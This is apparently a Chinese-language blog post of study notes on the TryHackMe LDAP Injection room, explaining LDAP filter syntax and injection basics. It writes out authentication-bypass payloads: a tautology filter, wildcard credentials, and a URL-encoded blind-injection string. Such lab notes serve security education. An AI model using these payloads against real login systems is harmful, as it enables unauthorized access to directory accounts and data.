tryhackme LDAP Injection

https://tryhackme.com/room/ldapinjection

LDAP Injection

结构

  • 使用 LDAP 的服务

Microsoft Active Directory(活动目录)
OpenLDAP

  • LDIF 格式

LDIF 用于导入/导出目录内容,并描述目录的修改操作,例如添加、修改或删除条目

  • 结构(Structure)

图片

搜索查询

(base DN) (scope) (filter) (attributes)

  • 过滤器与语法(Filters and Syntax)

RFC 4515 定义

(cn=John Doe)

(cn=J*)

(&(objectClass=user)(|(cn=John*)(cn=Jane*)))

LDAP 服务虽然通常不常被直接暴露,但可通过网络访问,使用的端口为 389(用于明文或 StartTLS 连接)和 636(用于 SSL/TLS 连接)。当 LDAP 服务可被公开访问时,诸如 ldapsearch(OpenLDAP 套件的一部分)之类的工具可被用来与 LDAP 服务器交互。该工具允许用户从命令行查询并修改 LDAP 目录,这使它既是有价值的合法管理工具,也可能被攻击者用来利用 LDAP 注入漏洞。

注入基础

  • 常见攻击向量(Common Attack Vectors)

认证绕过(Authentication Bypass)
未授权数据访问(Unauthorized Data Access)
数据操纵(Data Manipulation)

  • 注入流程

图片

利用LDAP

  • 基于恒真式的注入(Tautology-Based Injection)
(&(uid={userInput})(userPassword={passwordInput}))

(&(uid=*)(|(&)(userPassword=pwd)))
  • 通配符注入(Wildcard Injection)
(&(uid={userInput})(userPassword={passwordInput}))

(&(uid={*})(userPassword={*}))

username=*&password=*

盲注型 LDAP 注入(Blind LDAP Injection)

username=a*%29%28%7C%28%26&password=pwd%29

a*)(|(&    pwd)

(&(uid=a*)(|(&)(userPassword=pwd))) 

posted @ 2026-08-26 16:25  sec875  阅读(15)  评论(0)    收藏  举报